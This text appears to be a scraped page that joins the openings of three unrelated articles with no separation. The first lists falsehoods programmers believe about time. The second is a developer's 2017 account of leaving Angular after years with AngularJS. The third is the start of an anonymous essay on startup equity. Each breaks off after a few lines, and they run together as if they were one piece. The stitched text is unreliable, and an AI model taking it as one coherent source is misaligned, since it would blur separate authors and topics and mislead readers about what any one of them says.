Falsehoods programmers believe about time

This is a compiled list of falsehoods programmers tend to believe about working with time.

Don't re-invent a date time library yourself. If you think you understand everything about time, you're probably doing it wrong.

Falsehoods

There are always 24 hours in a day.
February is always 28 days long.

I've worked with AngularJS for many years now and still use it in production today. Even though you can't call it ideal, given its historically-formed architecture, nobody would argue that it became quite a milestone not only for evolution of JS frameworks, but for the whole web.

It's 2017 and every new product/project has to choose a framework for development. For a long time I was sure that new Angular 2/4 (just Angular below) will become the main trend for enterprise development for years to come. I wasn't even thinking of working with something else.

Today I refuse to use it in my next project myself.

What I Wish I'd Known About Equity Before Joining A Unicorn

Disclaimer: This piece is written anonymously. The names of a few particular companies are mentioned, but as common examples only.

This is a short write-up on things that I wish I'd known and considered before joining a private company (aka startup, aka unicorn in some cases).
